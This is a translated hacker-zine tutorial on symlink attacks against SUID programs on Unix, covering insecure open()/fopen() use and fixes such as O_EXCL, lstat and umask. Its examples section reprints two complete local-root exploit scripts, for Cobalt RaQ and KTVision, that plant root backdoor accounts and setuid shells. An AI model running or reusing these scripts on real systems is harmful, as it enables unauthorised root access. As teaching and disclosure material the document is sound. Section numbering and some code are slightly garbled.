__           __           __                     
  .-----.--.--.----.|  |.--.--.--|  |.-----.--|  |  .-----.----.-----.
  |  -__|_   _|  __||  ||  |  |  _  ||  -__|  _  |__|  _  |   _|  _  |
  |_____|__.__|____||__||_____|_____||_____|_____|__|_____|__| |___  |
   by l0om - member of excluded-team                           |_____|
   translated by feylamia
 
                          symlink-attack
                          --------------

              How attackers can check-mate the admin
            through simple programming errors

 

Content:

 

1.0 Preamble

2.0 Introduction

3.0 Hazards in programroutines

4.0 Countermeasures

5.0 examples from securityfocus

5.0 Greets

 

 

1.0 Preamble

 
This text addresses the origin, the discovery, and the exploitation of symlink attacks. Before- this is not a scientific approach to the topic, but it is meant to explain as many readers as possible, what a symlink-attack is, and how it forms.

It was originally written in emacs, but for the many visitors using MS-Windows, this text was optimized for Word. # :/
Although, it should look well with StarOffice. (got KDE?)

The punctuation was discarded because of the authors mental state. Spelling errors may be printed, and pinned to your wall.

This text is related to program-routines of the coding language C running on an *NIXoid OS. With Windows, there won't be problems by symlinks.

The author can be reached via innate@gmx.de, the translator can be reached via irc://irc.euirc.net/

Der Author ist unter innate@gmx.de zu erreichen.

 

 

2.0 Introduction

 
Being a user, you are in continous contact with files. Solely the fact of having a HOME directory makes this explicit.
On a UNIX OS (and UNIX-clones, like Linux) files generally have a owner and a group. If e.g. the user 'thomas' is a member of the group 'wimps', and 'thomas' creates a file, this file belongs to the user 'thomas' and is also owned by the group 'wimps'.

What is the advantage of this?

On UNIX-variants files have specified access permissions. This makes sure, that multiple users working on one system do not destroy files of other users, or copy files without permission of the owner. Thus, the user 'thomas' can give his file read-write- and executepermissions.

After a while you discover more and more files, which have different permissions as well as they are of different types. Commonly known file formats are '.txt' or '.exe'. Beside these 'regular' files, UNIX has some more types, which do not exist in simpler operating systems like MS-DOS.


Now then:

 
-regular files: are those, which can contain data, text or executables.

-links: links are alternate names for a file, which means,
    the same file can be addressed by another name.

°hard-links: not to be discussed here
 
°symbolic-links: like mentioned above a link is a nickname for another file.
         symbolic links are also called 'soft-links'. with them you can create links
         over the boundaries of different filesystems.
 

 
An example will show the principle of a s-link best.


But first, lets look at the shell command "ln". The line-orientated program is usually in the /bin/ directory, and executable by every user.
 

 

ln [option] <filename> <linkname>

 

Creates a link from <linkname> to <filename>

 

Options:

-f  : forces the creation of the link (doesn't ask for permission).

-n  : don't overwrite existing files

-s  : creates a symbolic link

 

 

An example:
 

l0om@home:~/test> ln -s /etc/passwd ./symtest

l0om@home:~/test> ls -l ./symtest

lrwxrwxrwx    1   l0om  500    10 Nov  3 16:32 ./symtest -> /etc/passwd

l0om@home:~/test> # puhh... now iam l337  ;)

l0om@home:~/test> head -n 1 ./symtest

root:x:0:0:root:/root:/bin/bash

l0om@home:~/test> echo "owned" >>./symtest

Permission denied.

 

In the first commandshell, we created a symlink from /etc/passwd to ./symtest. With the command "ls -l" (where ls standing for list and the -l option shows the file permissions) we look up information on the file. We can see by the l on the beginning of the line, that it is a link. The file permissions, which effectively allow everything for everyone are explicitly applied to the the link and not to the linked file. "l0om" is the owner of the link, and belongs to the group-id 500. Following there is the date of last modification and then the link (from where to what).

We can test if everything went fine with the link, if we look at first line of the link (namedly the file /etc/passwd).
Writing into the file via 'echo' is of course prohibited though.

 

############################NOTE##########################

l0om@host:~> echo fun with the symbolic links

 

l0om@host:~> mkdir dir1

l0om@host:~> touch dir1/datei

l0om@host:~> ln ../dir1 dir1/dir2

l0om@host:~> ls -LR dir1

l0om@host:~> ^C^C^C^  #Wow!

###########################################################

 

 

3.0 Hazards with programming routines
 

Attackers are always interested in increasing their access permissions. The main target of an attackers struggle are the superuser(root) permissions. With this, the attackers got the total control over the system, and can manipulate or use it as he wishes.

But how then can an attacker gain this rights?

This topic seems to be endless. In most cases there are exploits involved. Exploits are programs, which use bad/sloppy programmed software to scratch on the systems security. There are many known techniques for exploits:
 

-Buffer Overflows,

-Format-String attacks,

-Heap Overflows,

-Race Conditons and

-Symlink attacks

are the best known of these.


 
But how can the possibility form, that an attacker can bring the systems security to its knees, by a symlink attack?

Actually you can say: every time when a file is opened by using a sloppy programmed routine, a symlink attack can occur. The most dangerous possibility here, is when the program is executed with the SUID-bit.

Many programs create temporary files (swapfiles) at runtime. Data is stored there and read back later. Temporary files are mostly created in the /tmp directory, but there are many known exceptions. But like we said earlier-, even the opening of a
high-score by a KDE-game can be exploited. We take a prominent example from the "Anti-Hacker-Buch".

In this example, all is about the "dtappgather" attack on Solaris. Every time "dtappgater" is executed, it creates a temporary file with the name "/var/dt/appconfig/appmanager/generic-display-0", and sets the file permissions to "0666".

Aside the user, running the program is entered as the owner of the file. Unfortunately there is no logical check whether the file does already exist or if it is an symbolic link, targetting on another file (eg /etc/passwd).


Lets see how this attack looks in reality:
 

l0om@home:~> ls -l /etc/passwd

-r-xr-xr-x   1 root root  560  May 5 22:36 /etc/passwd

 
We can see that the user l0om can read the file, but not write into it. Further we perceive that the file belongs to the superuser, and also belongs to the superuser group.

Now, lets create a link from /var/dt/appconfig/appmanager/generic-display-0 to /etc/passwd

 

l0om@home:~> ln -s /etc/passwd /var/dt/appconfig/appmanager/generic-display-0

 
After that, we execute "dtappgather", and check the permissions on /etc/passwd again.
 

l0om@home:~> ls -l /etc/passwd

-r-xr-xr-x    1 l0om l0om  560  May 5 22:36 /etc/passwd

 

Now whats that? We trapped "dtappgather", and it simply appointed us to the owner of /etc/passwd!
Sadly, this helpful function isn't mentioned in the manual.  ;)

 

 

l0om@home:~> chmod +w /etc/passwd

l0om@home:~> echo "Drl0om::0:0:muhaha:/:/bin/bash" >>/etc/passwd

l0om@home:~> su Drl0om && echo "Schachmatt"

 

                 # No comment

 

 

-The devil lies in the detail-

 
For sure- here we got a coding mistake.

Often mistakes like this result from a wrong use of the open() or create() function.
 

Es ist klar- es liegt ein Programmierfehler vor.

 

Definition

 

 

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

 

int open(const char *dateiname, int flags, ... /*, mode_t modus*/ );

 

  returns: file descriptor on success, -1 on error

 

filename - name of the file to open

 

flags: As flags u can enter the constants defined in fcntl.h:

       O_RDONLY = open file read-only access

       O_WRONLY = open file write-only access

       O_RDWR = open file read-write access

 

        You need to enter one of these constants.

      
    
    Beside these three constants there are quite some more optional flags, which

    need to be applied via the |-operator (bitwise OR)
 

       O_APPEND = open file for writing at the end

 

       O_CREAT  = create file if it doesn't exist. in this case also the

          third parameter needs to be give (mode). Mode defines the

          access permissions for the new file. If the file does already exists

          this constant doesn't have any effects.



 

       O_EXCL = if O_EXCL is given together with O_CREAT, then
        the file can't be opened if it already exists,
        and open() returns -1 (for error)
 

       ...

 

If you're interested in more options:

l0om@home:~> man open

 

For our case this will be sufficient.


A little example case (this program got the SUID-bit)

 

 
/* start */

...

int fd;

...

fd = open(TMPFILENAME, O_RDWR | O_CREAT, 0666);  /* Omfg */

 

/* break here */

 

 

Here isn't any logical check happening, whether TMPFILENAME does already exist, or if it is a symbolic link. If our attacker previously had created a symlink with the name of the constant onto a important systemfile like /etc/passwd, he would now be in control of this file.
 

Effectively the same is happening with the use of the creat() function.
 

l0om@host:~> man creat

 

 

A similar danger develops from use of the fopen() function.

 

Definition

 #include <stdio.h>

 

  FILE *fopen(const char *filename, const char *mode);

         returns FILE pointer to filename, on error NULL


 filename: name of the file    # who could have guessed this?
 
mode: This argument sets the access mode

     

       "r" : read only

       "w" : write only

       "a" : write on the end of the file

      "r+" : write and read

      "w+" : write and read

      "a+" : write and read from the end of the file

 

To be handled with special caution are surely the modes 'w' & 'w+'. When opening the file with any of those modes, the complete content of the existing file will be erased. If the file didn't exist, it will be created. Sadly, this function too doesn't check whether the file that is to be opened might be a link (or if it exists- this should be tested before).

An attacker could use this to delete the content of important files. (eg /etc/passwd,/var/utmp,/var/wtmp...)

Depending on the further use of the tmp-file by the program, content of the system files could also be modified.
Prerequisite for this is, that the program has the SUID-bit set, and this permission isn't removed before opening the file with fopen(), by using setuid(), seteuid(), setsuid(), or setgid() (same goes for freopen).

A very similar problem occurs when using the tmpfile() function, which opens tmp files in the "w+" mode!
 

 

#########################NOTE############################

In general, the creation of swapfiles with fopen() should be handled with care. All new files will be created (according to POSIX) with the following rights:

rw-rw-rw-

This means, that everybody could read the contents, even if it was sensitive data.

Then again, this isn't a problem with symlinks, but rather with permissions and sensitive files. Thus we will keep it with that.
##########################################################

 

 

 

4.0 Countermeasures

 
So, how do we prevent symlink attacks?


As usual, many ways lead to rome.
Though, the most important thing is:

THE PROGRAMMER MUST CHECK IF THE FILE DOES ALREADY EXIST!

We read above, that there is a simple flag, checking for this. O_EXCL. If this flag had been set, and our attacker had
tried the same evil- he wouldn't had successed, because O_EXCL checks if the file does exist. If this was true, open() wouldn't touch the file, and say goodbye with a returnvalue of -1.


How do I check if it is a symlink?


For this, we will look at the lstat() function and stat structure.

The stat structure contains the necessary information for a file.
 

the stat structure:

 

struct stat {

mode_t st_mode;    /* filetype and permissions */

ino_t st_ino;      /* i-node number */

dev_t st_dev;      /* devicenumber */

dev_t st_rdev;     /* devicenumber for devicefiles */

nlink_t st_nlink;  /* number of links */

uid_t st_uid;      /* User-ID of the owner */

gid_t st_gid;      /* Group-ID of the owner */

off_t st_size;     /* size in bytes for normal file */

time_t st_atime;   /* date of last access */

time_t st_mtime;   /* date of last modification  */

time_t st_ctime;   /* time of last i-node change*/

long st_blksize;   /* pre-defined block size */

long st_blocks;    /* count of required 512b blocks */

};

 

 

Definition

 

int lstat(const char *filename, struct stat *buffer);

  

   returns 0 on success, -1 on error

 

lstat(), like stat() writes the attributes of the file 'filename' in the structurevariable buffer. Differing from stat(),
lstat() will write the links attributes into the buffer, if 'filename' is a symlink!


 

For further information on the stat() command:

l0om@home:~> man stat

 
The structurelement st_mode contains permissions and the filetype.
To look up the filetype from the variable, we need the macros from sys/stat.h.

 

Macro            returns true when it is a ... file

 

S_ISREG()        a regular file

S_ISDIR()        a directory

S_ISCHR()        a char orientated device

S_ISBLK()        a block orientated device

S_ISFIFO()       a FIFO or PIPE

S_ISLNK()        a symlink

S_ISSOCK()       a socket



With the  S_ISLNK() macro, we can insure ourselves whether it is a symbolic link. Best would be a negated test:
 

/* start */

...

struct stat attribut;

...

if(!(S_ISREG(attribut.st_mode))) { fprintf(stderr,"No regular file!\n");

                                   return -1; /* or other error */

                                 }

...

/* end */

 
Using this, we also can exclude (d.org) that that it is a pipe. Because, even though I didn't ever mention it here, the same danger exists with Pipes or FIFOS. It's just, that in most cases the attacker gains more from symlinking to another file.

For this reason, lets get back to the problem of tmpfile(), which opens the tmp-file with "w+" mode set. Is this function then generally wrong and not to be used?

Of course not! There is a possibility to change predefined access masks (like tmpfile() or fopen() use). The function umask().



 

Definition

 

#include <sys/types.h>

#include <sys/stat.h>

 

mode_t umask(mode_t mask);

 

       returns previous mask

 

 
The filecreationmask for a process defines, which permissions may not be give when creating a file. The mask resembles a kind of filter, which controls that certain permissions don't get onto the file. For mask we again have different flags, which can be chained with the |-operator.
 

constant   meaning

 

S_IRUSR     read permissions for owner

S_IWUSR     write permissions for owner

S_IXUSR     execute permissions for owner

 S_IRWXU    all three rights for owner

 

S_IRGRP     read permissions for the group

S_IWGRP     write permissions for the group

S_IXGRP     execute permissions for the group

 S_IRWXG    all three rights for the group

 

S_IROTH     read permissions for other users

S_IWOTH     write permissions for other users

S_IXOTH     execute permissions for other users

 S_IRWXO    all three rights for other users




Our code-example:
 

 

/* start */

 

...

umask(0);     /* everything allowed */

...

umask( S_IXWUSR | S_IRWXG | S_IRWXO);

 

/* we now define, it shall not be possible to give the file execution rights to the owner, nor any

permission to the group or other users */

 

creat("test.tmp", S_IRWXU | S_IRWXG | S_IRWXO); /* created file with all permissions */

 

/* because everything except readwrite permissions for the owner is forbidden,
   the resulting file permission is:

   rw-------

   this works as well with tmpfile() or fopen()
*/

...

 

/* end */

 

 

Finally I want to point to the tool L0pht Watch, which checks the /tmp dir for new swap files. It was freely available from www.l0pht.com/advisories/l0pht-watch.tar.gz, nowadays you will have to google for it, until the author or the translator gets his lazy ass to go and search for it. Oo

This program makes it a lot easier to check for symlink attacks.

 

 

 



5.0 Examples from securityfocus


 I put in three real life examples for symlink attacks, which I got from securityfocus. These are meant to show, how many of these programming errors exist, which often have fatal impact.
 

 

###############################################################################

 

1) xbreaky

 

###############################################################################

 

 

-----------------------------------------------------------------------

Title:             xbreaky symlink vulnerability

Author:            Marco van Berkum

Classification:    High risk

Date:              12/09/2002

Email:             m.v.berkum@obit.nl

Company:           OBIT

Company site:      http://www.obit.nl

Personal website:  http://ws.obit.nl

-----------------------------------------------------------------------

 

About xbreaky

-------------

xbreaky is a breakout game for X written by Dave Brul which can be downloaded

from http://xbreaky.sourceforge.net. xbreaky is added to the OpenBSD ports tree,

NetBSD tree and possibly others.

 

Problem

-------

By default xbreaky is installed as suid and can be abused to overwrite any file

on the filesystem, by any user.

 

Vulnerable versions

-------------------

All versions prior to 0.0.5

 

Exploit

-------

xbreaky uses $HOME/.breakyhighscores to write the highscores to, when

$HOME/.breakyhighscores is symlinked to another file (*any* file) it simply

overwrites it as root user.

 

Example

-------

root@animal:/home/marco# echo "bla" >rootfile

root@animal:/home/marco# chmod 600 rootfile

root@animal:/home/marco# exit

logout

marco@animal:~$ ln -s rootfile .breakyhighscores

 

marco@animal:~$ xbreaky

 

Now I play a game and set highscore as user "lol", then I exit the game.

Its a nice game btw :)

 

marco@animal:~$ cat rootfile

cat: rootfile: Permission denied

marco@animal:~$ su -

Password:

root@animal:~# cat /home/marco/rootfile

lol <- voila, our highscore user

 

Author's response and solution

------------------------------

The author corrected the problem and released xbreaky 0.0.5

 

Credits

-------

Thanks to Dennis Oelkers for testing.

 

##############################################################################

 

2) Cobalt Linux 6.0 Local Root

 

##############################################################################

 

Good morning all,

   I would like to apologise if this is old news, however I dont quite

recall seeing this come across here yet.  I just had a colo customer who

was 100% up to date on cobalt release patches get owned with the following.

 

 

#!/bin/sh

#

# Cobalt Linux 6.0 Local Root Exploit

#

# Effects: <= apache-1.3.20-RaQ4_1C3 (AFAIK all Cobalt Linux Apache ;)

# Quick Fix: su - root -c "chmod 755 /usr/lib/authenticate"

#

# Problem Source Code:

# fd = open("gmon.out", O_WRONLY|O_CREAT|O_TRUNC, 0666);

#

# Suggested Code:

# fd = mkstemp("/tmp/gmon.out-XXXXXX");

#

# Still need help Cobalt developers? Ok:

# man 3 tmpfile; man 2 open; echo "Thanks core"

#

# by Charles Stevenson <core@bokeoa.com>

#

# Fri Jun 28 03:35:53 MDT 2002

# - initial version

# Sun Jul 7 20:12:41 MDT 2002

# - added some features for robustness

 

echo "RaQFuCK.sh by core"

 

target="/usr/lib/authenticate"

tempdir="/tmp"

 

if [ -u /.sushi ] ; then

exec /.sushi

fi

 

printf "Checking for $target..."

if [ -f "$target" ] ; then

echo "done."

else

echo "NO!"

exit 1

fi

 

printf "Checking if $target is setuid root..."

if [ -u "$target" ] ; then

echo "done."

else

echo "NO! Hrm... does this admin have a clue???"

exit 1

fi

 

if [ ! -d "$tempdir/core" ]; then

printf "Creating $tempdir/core..."

if ! mkdir "$tempdir/core" 2>/dev/null ; then

echo "FAILED!" ; exit 1

fi

echo "done."

fi

 

printf "Changing directory to $tempdir/core..."

if ! cd "$tempdir/core" 2>/dev/null ; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

 

printf "Creating cron.d symlink..."

if ! ln -fs /etc/cron.d/core gmon.out 2>/dev/null; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

 

printf "Changing umask..."

if ! umask 000 ; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

 

printf "Compiling root shell..."

cat >sushi.c <<EOF

 

#include <unistd.h>

int main (int argc, char **argv, char **envp) {

setuid(0);

setgid(0);

execve("/bin/sh",argv,envp);

return -1;

}

EOF

if ! cc sushi.c -o sushi 2>/dev/null; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

 

printf "Compiling cron takeover..."

cat >takeover.c <<EOF

#include <stdlib.h>

main() { system("cp $tempdir/core/sushi /.sushi ; chmod 6777 /.sushi"); }

EOF

if ! cc takeover.c -o own 2>/dev/null; then

echo "FAILED!" ; exit 1

fi

echo "done."

 

printf "Performing symlink attack..."

printf "\n\n\n\n" | "$target"

if [ -u /etc/cron.d/core ] ; then

echo "SYMLINK ATTACK FAILED!" && exit 1

else

echo "done."

fi

 

printf "Setting up evil cron job..."

cat >croncore <<EOF

*/1 * * * * root if [ -x "$tempdir/core/own" ] ; then

"$tempdir/core/own"; fi

EOF

if ! cat croncore 2>/dev/null >/etc/cron.d/core; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

 

printf "Waiting for root shell"

while [ ! -u /.sushi ] ; do

sleep 1 ; printf "."

done

echo "done."

 

cd /

 

printf "Cleaning up real quick..."

if ! /.sushi -c "rm -rf $tempdir/core /etc/cron.d/core"; then

echo "FAILED??? Fuck it!"

else

echo "done."

fi

 

echo "Spawning root shell!!! God Damn! I say GOD DAMN!!"

if ! exec /.sushi -i; then

echo "Exec Failed!!! BUMMER!" ; exit 1

fi

 

################################################################################

 

3) Symlinks Symlinks - This time KTVison

 

################################################################################

 

Hi ppl,

 

the subject already states the problem: there is a symlink follow

problem in the (in many distributions suid root) ktvision binary <=

0.1.1-271.

 

It is discouraging that nowadays such trivial symlink attacks are still

possible. No comment anymore. In order to be complete: a bash script

demonstrating this vulnerability is attached below.

 

Ihq.

 

 

 

 

------------------------- ktv.sh -------------------------------

 

#!/bin/bash

 

link=/home/paul/.kde/share/config

linkto=/etc/passwd

target=/opt/kde/bin/ktvision

 

echo ""

echo "KTVision <= 0.1.1-271 local r00t exploit by IhaQueR"

echo ""

 

if ! test -u $target ; then

    echo "[-] $target not found"

    exit 1

fi;

 

echo "[+] $target found"

 

rm -f sush*

cat <<__DUPA__>>sush.c

#include <stdio.h>

main()

{

    setuid(geteuid());

    setgid(getegid());

    execl("/bin/bash", "/bin/bash", NULL);

}

__DUPA__

 

echo "    compiling sush"

res=$(gcc sush.c -o sush)

 

if test "$res" != "" -o ! -x sush ; then

    echo "[-] failed"

    rm sush* ktvback.*

    exit 2;

fi;

 

echo "[+] success"

 

cp $linkto ktvback.$$

mkdir -p $link

rm -f $link/ktvisionrc

ln -s $linkto $link/ktvisionrc

 

echo ""

echo -n "now running... (ensure that X is up and running)"

 

$target >/dev/null 2>&1 &

cpid=$!

 

declare -i cnt

 

declare -i max

cnt=0

max=60

 

while ! test -O $linkto ; do

    sleep 1;

    printf "  %.2d" $cnt

    cnt=$(($cnt+1))

    if test $cnt -ge $max ; then

         echo ""

         echo ""

         echo "[-] FAILED"

         rm sush* ktvback.*

         exit 2;

    fi;

done;

 

kill -9 $cpid >/dev/null 2>&1

rm $link/ktvisionrc

 

echo ""

echo ""

echo "[+] SUCCESS, creating sush"

echo >>$linkto "r00t::0:0:root:/root:/bin/bash"

echo ""

su r00t -c "chown 0.0 sush; chmod u+s sush; chmod g+s sush; cp

ktvback.$$ $linkto; chown 0.0 $linkto"

rm ktvback.* sush.c

 

if ! test -u sush ; then

        echo "    hm strange error"

    rm sush* ktvback.*

        exit 1

fi;

 

echo ""

echo "starting ./sush"

./sush

 

#!plonk

 

 

 

6.0 Greets

The whole Toxic Source Developers (http://t-s-d.de.vu)

Strcat, Bofh, (by the way... I miss the 3d-crew and their cool daulogs!)

Excluded-Team, HDC, Buha, Kryptocrew...

(guys form long time ago like: WIT or joker(still the sub-7 h4x0R??)).

Cool bands wich will never receive my greets like: strungout, face to face, propagandhi and so on :).

 

l0om


http://excluded.org/


PS: of course the translator is greeted, something I'll just add in here by myself:
greets to feylamia Oo